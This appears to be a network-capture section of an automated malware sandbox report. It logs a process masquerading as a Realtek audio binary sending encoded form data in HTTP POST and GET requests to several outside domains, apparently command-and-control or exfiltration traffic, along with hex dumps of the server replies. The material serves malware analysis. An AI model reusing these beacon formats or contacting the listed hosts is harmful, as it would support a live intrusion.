Dec 3, 2024 14:54:57.557357073 CET	1289	IN	Data Raw: 21 35 c2 34 5a 13 5b 34 59 b6 68 37 b7 4d bc 14 92 e2 25 f8 ea 70 fb d3 2f 83 fb d7 d6 2f 7c bd f6 e4 61 e7 9b 1f d7 cf 7e d1 bd fc a8 7d ff ad f5 0b df fc f5 c9 f1 ff 7b f4 e1 fa 85 4f 82 0f 3e e8 2c 7f bb 53 a4 cb 84 40 3f 77 e1 22 53 8c 59 71 Data Ascii: !54Z[4Yh7M%p//\|a~}{O>,S@?w"SYq].m%M)7pvZiQs-+JTS%-:b @$*ST;8dT}hGFd7!O(?gspX>=\|oj\|vprH`B
Dec 3, 2024 14:54:57.871862888 CET	1289	IN	Data Raw: 09 86 b2 92 15 0e 92 4c 95 45 06 92 67 4a 0a 64 c7 ef 3e bb bc 7e fc 4c 58 b5 fe d9 fa 87 97 70 54 f6 f5 af 3a 5f ad e0 5c 69 ab ab 6b 4f 3e ed 3c bb db 79 76 69 a8 c5 21 f1 92 c0 0e af 4a 2d 17 71 90 8d 3a c4 0e e7 9b 59 29 bc 36 c0 50 3f 23 ff Data Ascii: LEgJd>~LXpT:_\ikO><yvi!J-q:Y)6P?#J^_S3}[9C\|w}JW>rRjWZXUS1:pB)CtvSt\jGuNWJ"9J4k\f]CZJZ[UH;\'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49814	45.197.47.177	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:00.080641031 CET	1289	OUT	POST /8orf/ HTTP/1.1 Host: www.224466.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.224466.top Referer: http://www.224466.top/8orf/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 42 34 63 2b 32 54 70 61 43 42 62 44 33 55 67 34 4c 79 75 37 52 49 59 39 5a 33 53 73 48 57 63 4d 6d 59 41 54 51 51 71 75 48 45 76 61 41 6c 31 64 77 61 71 77 76 2f 6e 76 66 4d 35 44 45 4e 48 71 4e 35 77 78 6c 2b 38 44 6f 61 5a 4a 78 43 50 62 50 56 35 61 75 78 4e 59 36 72 41 4b 53 63 54 2b 6a 6a 7a 31 75 45 4c 2f 35 70 4f 50 35 45 66 43 6d 36 79 46 72 31 50 72 68 62 62 6f 4b 2b 4f 66 6c 57 59 6c 46 78 31 65 43 33 79 35 31 6c 74 70 71 6e 35 70 72 77 50 42 58 31 57 59 36 30 48 74 58 38 4d 47 34 48 34 76 4c 61 75 77 36 33 34 33 43 4d 49 55 2b 48 74 64 72 49 51 53 41 69 65 68 5a 55 61 45 6a 62 73 7a 32 4a 6d 59 2b 62 46 67 6a 4d 6b 6f 78 77 69 79 47 52 7a 4d 78 41 52 70 6a 56 6c 4f 49 2b 72 56 57 79 5a 5a 42 34 5a 6e 4d 48 49 4a 65 31 31 72 78 42 38 66 59 6b 56 78 72 63 31 49 61 61 72 71 65 35 65 77 56 4a 74 4a 37 6d 6f 67 32 2f 48 77 4e 32 6f 67 6a 51 55 30 2f 47 70 74 6b 4f 4d 4b 69 41 36 66 6b 30 63 49 43 79 66 50 4e 53 6e 4c 75 47 35 77 4b 6d 4a 59 38 55 4c 30 70 6d 51 6b 67 30 [TRUNCATED] Data Ascii: pluxVm=/B4c+2TpaCBbD3Ug4Lyu7RIY9Z3SsHWcMmYATQQquHEvaAl1dwaqwv/nvfM5DENHqN5wxl+8DoaZJxCPbPV5auxNY6rAKScT+jjz1uEL/5pOP5EfCm6yFr1PrhbboK+OflWYlFx1eC3y51ltpqn5prwPBX1WY60HtX8MG4H4vLauw6343CMIU+HtdrIQSAiehZUaEjbsz2JmY+bFgjMkoxwiyGRzMxARpjVlOI+rVWyZZB4ZnMHIJe11rxB8fYkVxrc1Iaarqe5ewVJtJ7mog2/HwN2ogjQU0/GptkOMKiA6fk0cICyfPNSnLuG5wKmJY8UL0pmQkg0BqOSjixEiDZbg2zNu46pH+e2vTZjsdYY8a15qpQD11DZ0X3h+vR4my0hqkGV5SGuLGdnUwslztFFLpe0WKghFq9J4J82z/+Mhq/lhY+a6rpvpYyfc+XFHGI0ZdwgwfGl990mxup1rfjlmlYU+NTOIvgiZ7IcqYjVxHX/inT/C8WGz03GUzU8LCnVn/QIHlE9ItkFakkerHwiPKVunM2wgJpR0w3Fmm9H0oFBwGkcFJ5pBAqjSNPk2vvSB+CTk1kVFz+nKXLijbXOcOo0YzmsYQcn57vAaHORkOuCwRQ3bNz3ERzgjus87iJQiGtBaUrfrTEsK8FAnC3rR/k1AWDp86xqmvjv6WR3cEStJ9Gd1Mma8Ol7e+wNDNUmHoum2N5lH6qiqazKdk8rEEchhLA1ItyHdkKLHN3b3rMGKoufNneDmHGdhCm8/YTmjaEb6LLmLhKeSRDGiWkWEOqOV3c8pDJwdbAT3aF
Dec 3, 2024 14:55:00.080698967 CET	6445	OUT	Data Raw: 79 72 2f 7a 30 42 48 52 47 6c 69 46 43 41 57 37 49 77 36 63 58 63 74 55 32 36 49 2f 6c 2b 43 76 31 76 6a 64 62 77 4d 38 70 56 77 37 68 78 79 46 50 48 55 38 6a 52 51 2f 50 72 69 54 59 76 30 2b 46 2f 6b 77 2b 75 76 67 42 62 71 56 33 48 57 39 72 37 Data Ascii: yr/z0BHRGliFCAW7Iw6cXctU26I/l+Cv1vjdbwM8pVw7hxyFPHU8jRQ/PriTYv0+F/kw+uvgBbqV3HW9r7uD9UvAX5Hf5wSPi24MyA4TfQMu+newovjkgMjwYfvS14bBQXtVhKOMVaw9mWycjr6Z9L/VDvuxjCWPBHgs4pzZezyk06Th+guAJ7JOVexgrsX29ZLKhSlP8/F+kHrDfidaSuUxVDtOCwXCc4i7AKG8VMAgRcbJip3
Dec 3, 2024 14:55:00.080746889 CET	109	OUT	Data Raw: 30 4b 36 2b 6b 43 71 38 57 42 4b 76 6e 45 63 64 37 49 75 2b 36 2b 41 55 47 66 79 48 65 59 70 71 44 50 77 72 31 5a 46 76 59 50 77 39 58 43 4b 2f 79 78 34 71 58 55 37 70 46 70 66 4b 42 31 50 65 49 31 6c 50 71 59 46 41 61 58 2b 41 4d 2b 66 2b 59 61 Data Ascii: 0K6+kCq8WBKvnEcd7Iu+6+AUGfyHeYpqDPwr1ZFvYPw9XCK/yx4qXU7pFpfKB1PeI1lPqYFAaX+AM+f+YavwZo+rkx1Uhx2QRIdxh+hAvvg==
Dec 3, 2024 14:55:00.395240068 CET	536	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:55:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"6735d5d4-11e4a" Content-Encoding: gzip Data Raw: 33 65 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 93 1b c7 91 e8 77 45 f8 3f c0 63 ef 92 0c 93 33 83 6e a0 01 48 24 f7 e9 a0 bc 7e e1 7d f6 ae bd bb b1 f1 e2 c5 44 1f d5 f7 dd 8d d3 56 04 29 89 f7 2d 51 07 c5 91 28 4a a4 44 5d 3c 44 4a 24 67 78 44 f8 a7 d8 d3 00 e6 cb f3 5f 78 59 dd 0d a0 ba d1 98 01 30 03 7a fc 62 47 0a 02 dd e8 ae ca ca cc ca ca ca ca e3 85 fd 3f 7d ed 37 af fe fe bf 7e 7b 28 27 fb 86 7e f0 85 fd f8 23 a7 b3 a6 74 60 0e 99 73 f8 06 62 85 83 2f e4 e0 6f bf 81 7c 36 c7 cb ac eb 21 ff c0 dc bf ff fe f5 7d 65 fc 84 af f8 3a 3a f8 b2 f4 8f 3f 6b 14 0e 55 5e 7e 09 3e 8b 2f d3 79 fc 59 2a e5 5f c7 9f 85 43 af bc fc d2 9f 1e ec 0e bf 52 af 85 8f 30 af bf f6 d2 1e fc 85 2e 84 cf 16 0f 95 0a e1 b3 af 1f 0a af cb 2f 97 2b e1 e7 e2 62 f4 3b fd fa e2 4b fb 17 a2 de 5e d8 af 2b a6 96 73 91 7e 60 ce 93 2d d7 e7 ab 7e 4e e1 2d 73 2e 27 bb 48 3c 30 b7 20 b2 35 7c 3d 0f ff 60 20 43 d8 4d d6 40 07 e6 34 d4 ac 5b ae e0 Data Ascii: 3ed8}iwE?c3nH$~}DV)-Q(JD]<DJ$gxD_xY0zbG?}7~{('~#t`sb/o\|6!}e::?kU^~>/yY*_CR0./+b;K^+s~`-~N-s.'H<0 5\|=` CM@4[
Dec 3, 2024 14:55:00.395479918 CET	536	IN	Data Raw: cd e5 e0 77 1f 99 30 16 16 03 9f 00 16 ae 99 d7 5f a1 31 00 95 e2 a1 72 38 18 a6 74 28 04 f4 95 57 18 f2 b3 70 a8 b8 18 fe fe 7a 31 1a f4 cb af 55 5e da 9b 89 8f e2 2b 95 a8 29 fc e8 de cc 5e 01 0d 61 af 45 3c dc b0 b7 e8 15 06 be bc 94 1a 89 80 Data Ascii: w0_1r8t(Wpz1U^+)^aE<<Ul_`z1S8tbH"](^J5-f^{%ZDRa13J`JD?L!KP Q8Qb]UQbZ\|%lR4IWuX@}P
Dec 3, 2024 14:55:00.395488977 CET	536	IN	Data Raw: c7 cf 86 fd b3 b1 04 97 7d df 7e 71 61 81 a2 0a 05 86 99 f7 2d 9b 78 28 7c 50 31 a4 1c 46 c2 dc 42 d5 d6 2d 56 f0 16 58 5d 87 9b 0b d4 22 cc 82 52 be bc 90 df 07 5f 7e f9 af 8b c5 5f fd 4b 91 9e b7 4d 69 2e c7 ea 20 ee c9 ee 16 d8 78 dc 0b 80 9d Data Ascii: }~qa-x(\|P1FB-VX]"R_~_KMi. xxv^j(XHrd}2\|Mw=e*g_rpPJT)&Tq-%a4rRy`nw'qXkN#aDdwn6+I+a5amBLIW<y`
Dec 3, 2024 14:55:00.395495892 CET	536	IN	Data Raw: 29 86 50 29 e9 51 47 30 eb fc b4 6c ce 6a 23 c2 cd 80 eb d5 86 e4 5a 8e e0 92 32 7a d4 7b 1b dd 87 a9 07 fb 8b 51 4f 10 13 33 eb 91 c4 c0 cc ba dd 30 ca b6 cf f5 c9 ed 2a 92 bc 19 7c 83 e5 22 5e 04 b2 d8 7b 23 8e 1b 8d fa 11 c0 67 dc 1e 7f 46 23 Data Ascii: )P)QG0lj#Z2z{QO30*\|"^{#gF#!XGyIc$fW8wIpU&%GMjz>~3@P'$w}Kk}L28]jSF)37U}j5d4uBiz RG8)
Dec 3, 2024 14:55:00.395515919 CET	536	IN	Data Raw: 0c 10 ab 19 cb 70 9a 8a ba e6 c1 be 4e 43 04 15 db ef df 59 ff 60 b5 fb c3 db dd 5b b7 e7 0e 92 57 9b 6b 02 2d d3 74 59 53 16 9c 49 74 f9 a2 ee d4 c0 96 83 b4 a9 34 01 97 71 7c ae 58 33 e4 a9 35 01 a4 95 d4 9a 6d 30 52 ac 09 24 87 3c b1 26 40 a2 Data Ascii: pNCY`[Wk-tYSIt4q\|X35m0R$<&@1H2YkVP[D5Kq~KhNvz>$OXwx,AZ{o`%G`I8AIC5l8i&pXpY:j6}hgYulQo+k,&fFt
Dec 3, 2024 14:55:00.395522118 CET	536	IN	Data Raw: e0 cc fb 7d bb 44 78 b5 b9 b4 83 d3 02 8e 6f 98 62 5f 70 65 80 10 f1 18 61 21 73 c1 d3 00 e9 79 56 9d 4a da 15 41 be 0a 25 4f ef ab e2 13 db b8 5d 59 85 8d 3d 0f d2 36 b2 71 c7 a6 98 78 c8 93 4a bb 04 4a 7b d2 4e ca 97 25 dd a4 cc e2 ac a5 1d 9c Data Ascii: }Dxob_pea!syVJA%O]Y=6qxJJ{N%vkWD2#7>_~Wn]O<9c3W#OC>ljlC"]dCn}I0SnF2p`rVeBwBq`x5J_eR
Dec 3, 2024 14:55:00.395529032 CET	536	IN	Data Raw: 3b ab 57 41 2d 4d de d8 1e 18 b7 4f 22 eb c8 71 44 96 33 b7 b8 bf 48 0a af 91 bc fb 9c 25 b2 c0 d2 25 b9 4e 09 5c c6 74 4a ad ab 9c ee d4 05 0d 89 66 83 b4 a6 ac 04 a7 ae 00 6f b5 57 2e e0 3d ec e0 6a 73 89 2c f9 ac 60 0a b6 d3 df 2a 64 80 30 b4 Data Ascii: ;WA-MO"qD3H%%N\tJfoW.=js,`*d0{@TS/`dqG(-'<DN'irfWq'u$WO#iI_t!Nl<_YW#OY3I<5uwsZg>}J=6y5+uU
Dec 3, 2024 14:55:00.395534992 CET	536	IN	Data Raw: a3 de d4 aa 66 75 ac 00 09 49 72 6a be e8 35 ad a1 00 89 82 88 04 88 18 a8 35 b7 21 40 c2 e7 0d 1e 49 4d 89 34 81 0d c7 93 6c 10 20 51 b6 24 4d ae 6b be 3b 45 80 04 1c 0d 18 15 97 f5 48 0d 23 ab f3 ed 08 90 f0 90 5a e7 68 0f c1 21 68 76 80 84 59 Data Ascii: fuIrj55!@IM4l Q$Mk;EH#Zh!hvY2G$8[Vu @G/L\T@2<gm8GdyHia)jj6DY)Mt(Zh-z-lDK[3nW%w 22
Dec 3, 2024 14:55:00.395539999 CET	536	IN	Data Raw: b1 8a e8 21 59 bc 13 02 24 0a f5 12 5f 41 92 01 13 27 bd 52 ec 80 00 09 4f b2 1d ad 59 a3 21 a7 41 0a ba 9d 10 20 81 f2 c8 66 05 b7 30 ac a7 fc 7d 07 48 98 55 9f ab 54 74 08 72 de 92 d9 77 67 06 48 70 9c 51 72 cc 96 36 c6 4a b1 dd 01 12 10 ce ad Data Ascii: !Y$_A'ROY!A f0}HUTtrwgHpQr6J?!iVdBk68Ym#jFSQg G#3jEDymmS5&IVpKN MV(\|;@BV9AT\;3@zYE(izu*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49815	45.197.47.177	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:02.925647974 CET	417	OUT	GET /8orf/?pluxVm=yDQ89DLfYgJiEyke7+6q5gE87/fs/XemaXtjJXohmXUOdwNzAwGJy6nqls5iDTVnp9Zi+kacGLaYAX6Ad+cHYYESeoueNmRKrwXa18136rVeVa07ORWAOLw=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.224466.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:55:03.241132975 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:55:03 GMT Content-Type: text/html Content-Length: 73290 Connection: close Vary: Accept-Encoding ETag: "6735d5d4-11e4a" Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 41 67 26 23 78 34 45 39 41 3b 26 23 78 35 41 33 31 3b 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b c2 b7 28 26 23 78 34 45 32 44 3b 26 23 78 35 36 46 44 3b 29 26 23 78 35 33 34 31 3b 26 23 78 35 45 37 34 3b 26 23 78 34 46 45 31 3b 26 23 78 38 41 38 39 3b 26 23 78 38 30 30 31 3b 26 23 78 35 33 46 30 3b 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 26 23 78 37 37 31 46 3b 26 23 78 34 45 42 41 3b 26 23 78 36 46 42 33 3b 26 23 78 39 35 45 38 3b 26 23 78 37 36 37 45 3b 26 23 78 35 42 42 36 3b 26 23 78 35 42 42 36 3b 26 23 78 34 45 35 30 3b 26 23 78 37 46 35 31 3b [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"><title>Ag亚娱真人(中国)十年信誉老台</title><link rel="shortcut icon" href="/favicon.ico"><meta name="keywords" content="ag真人澳门百家家乐网站,Ag亚娱官网,ag真人平台官方"><meta name="description" content="ag真人澳门百家家乐网站【以小博大】,ag真人澳门百家家乐网站涵盖足球、真人视讯、电子游艺、官方直营,Ag亚娱官网是最高速的下载和畅快的游戏,所以ag真人&#x5 [TRUNCATED]
Dec 3, 2024 14:55:03.241188049 CET	1289	IN	Data Raw: 23 78 39 39 39 36 3b 26 23 78 38 39 38 31 3b 26 23 78 37 36 38 34 3b 26 23 78 37 36 45 45 3b 26 23 78 36 38 30 37 3b 26 23 78 33 30 30 32 3b 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 61 Data Ascii: #x9996;要的目标。"><link rel="stylesheet" href="static/css/normalize.css"><link href="static/css/font-awesome.css" rel="stylesheet"><link rel="stylesheet" href="static/css/common.css"><link rel="stylesheet" hr
Dec 3, 2024 14:55:03.241234064 CET	1289	IN	Data Raw: 37 62 61 37 78 78 6f 69 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 32 32 34 34 36 36 2e 74 6f 70 22 20 74 69 74 6c 65 3d 22 e7 bd 91 e7 ab 99 e9 a6 96 e9 a1 b5 22 3e e7 bd 91 e7 ab 99 e9 a6 96 e9 a1 b5 3c 2f 61 3e 20 3c 2f 6c 69 3e 0a Data Ascii: 7ba7xxoi"><a href="http://224466.top" title=""></a> </li> <li class="ejvsjq9eb5"> <a href="/html/ufevxzpmdb/" title="ag">ag</a>
Dec 3, 2024 14:55:03.241367102 CET	1289	IN	Data Raw: 5f 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6d 6e 73 73 62 6c 67 79 64 20 73 75 62 6d 65 6e 75 5f 6c 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: _wrap"> <div class="emnssblgyd submenu_left"> <div class="exyyfc9pco name"></div> <a href="/html/hsuobcmenc/" class="ejtguoxhfm menu_more">read more +<
Dec 3, 2024 14:55:03.241431952 CET	1289	IN	Data Raw: 22 2f 68 74 6d 6c 2f 76 6b 6d 69 6e 74 67 6a 74 62 2f 22 20 74 69 74 6c 65 3d 22 e8 8d a3 e8 aa 89 e9 a3 8e e9 87 87 22 3e e8 8d a3 e8 aa 89 e9 a3 8e e9 87 87 3c 2f 61 3e 3c 2f 64 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "/html/vkmintgjtb/" title=""></a></dd> <dd class="eknas8pjbs"><a href="/html/hdgjgdspdo/" title=""></a></dd>
Dec 3, 2024 14:55:03.241508007 CET	1289	IN	Data Raw: e9 80 9a e7 9f a5 e5 85 ac e5 91 8a 22 3e e9 80 9a e7 9f a5 e5 85 ac e5 91 8a 3c 2f 61 3e 3c 2f 64 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "></a></dd> <dd class="ebdds5fkkg"><a href="/html/yehmqvunmf/" title=""></a></dd>
Dec 3, 2024 14:55:03.241553068 CET	1289	IN	Data Raw: 72 65 61 64 20 6d 6f 72 65 20 2b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: read more +</a> </div> <div class="ecaaesozmf menu_list clearfix"> <dl class="eize8dliaf"> <dd class="e
Dec 3, 2024 14:55:03.241599083 CET	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 73 6a 71 66 36 61 6e 6c 36 20 6d 65 6e 75 5f 6c 69 73 74 20 63 6c 65 61 72 Data Ascii: </div> <div class="esjqf6anl6 menu_list clearfix"> <dl class="evdc9fa4a6"> <dd class="epqdt1ciu6"><a href="/html/r
Dec 3, 2024 14:55:03.241642952 CET	1289	IN	Data Raw: 22 65 33 69 65 6a 73 65 31 76 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 68 74 6d 6c 2f 78 74 75 6e 76 61 61 72 70 6e 2f 22 20 74 69 74 6c 65 3d 22 e9 87 87 e8 b4 ad e4 b8 93 e5 8c ba 22 3e e9 87 87 Data Ascii: "e3iejse1vu"> <a href="/html/xtunvaarpn/" title=""></a> <div class="excwgmha5e submenu"> <div class="edf5vqmdqm submenu_wrap"> <div class="ec4w
Dec 3, 2024 14:55:03.241686106 CET	1289	IN	Data Raw: ba 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 Data Ascii: "> </div> </div> </div> </li> <li class="eda37hw2db"> <a href="/html/blqwdkefnx/" title=""></a>
Dec 3, 2024 14:55:03.557071924 CET	1289	IN	Data Raw: 22 3e 3c 61 20 68 72 65 66 3d 22 2f 68 74 6d 6c 2f 69 64 79 79 68 63 6c 65 79 69 2f 22 20 74 69 74 6c 65 3d 22 e5 91 98 e5 b7 a5 e5 85 b3 e7 88 b1 22 3e e5 91 98 e5 b7 a5 e5 85 b3 e7 88 b1 3c 2f 61 3e 3c 2f 64 64 3e 0a 20 20 20 20 20 20 20 20 20 Data Ascii: "><a href="/html/idyyhcleyi/" title=""></a></dd> </dl> </div> <div class="ef7sjgupgn submenu_right">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49816	172.96.191.39	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:12.290703058 CET	416	OUT	GET /oz0e/?pluxVm=N0iBPOr2h1wf3hrk0fV7bCYuQaQcnemlKlX+67l0LxDwIz/NET6JyzgCPnJBSBJZztg4pX1Iwr0Nd76JZuhGak0dZt9NjSAeSo6fySf0UlwbimsbHDdeRZs=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.88rtp.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:55:12.634779930 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 03 Dec 2024 13:55:12 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49817	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:17.843333006 CET	671	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 52 39 45 73 36 49 49 47 6e 30 6e 72 57 5a 4a 74 70 33 42 62 37 58 6b 69 62 64 39 5a 68 79 64 47 6b 79 66 71 51 69 53 6b 73 67 4e 4f 69 41 6b 77 31 58 53 54 2f 42 41 49 34 49 42 67 4e 31 49 58 34 70 52 51 34 38 74 6a 46 62 6a 30 57 4d 6c 2f 59 64 2b 6e 30 48 72 32 77 6b 45 34 70 35 48 2f 47 45 50 67 4d 69 6b 74 62 4c 63 56 46 54 4b 6e 4b 6b 6b 74 61 76 72 65 64 71 4a 74 43 44 39 47 6d 59 4d 7a 57 73 74 65 5a 36 47 39 67 37 2b 47 2f 4e 6d 74 33 54 65 64 46 79 66 74 54 57 4e 30 42 56 2f 51 58 6e 57 6b 4b 71 6c 30 4f 59 54 50 6b 53 6d 4f 45 67 3d 3d Data Ascii: pluxVm=00x6Nc1OHcgHR9Es6IIGn0nrWZJtp3Bb7Xkibd9ZhydGkyfqQiSksgNOiAkw1XST/BAI4IBgN1IX4pRQ48tjFbj0WMl/Yd+n0Hr2wkE4p5H/GEPgMiktbLcVFTKnKkktavredqJtCD9GmYMzWsteZ6G9g7+G/Nmt3TedFyftTWN0BV/QXnWkKql0OYTPkSmOEg==
Dec 3, 2024 14:55:18.049494982 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:55:17 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 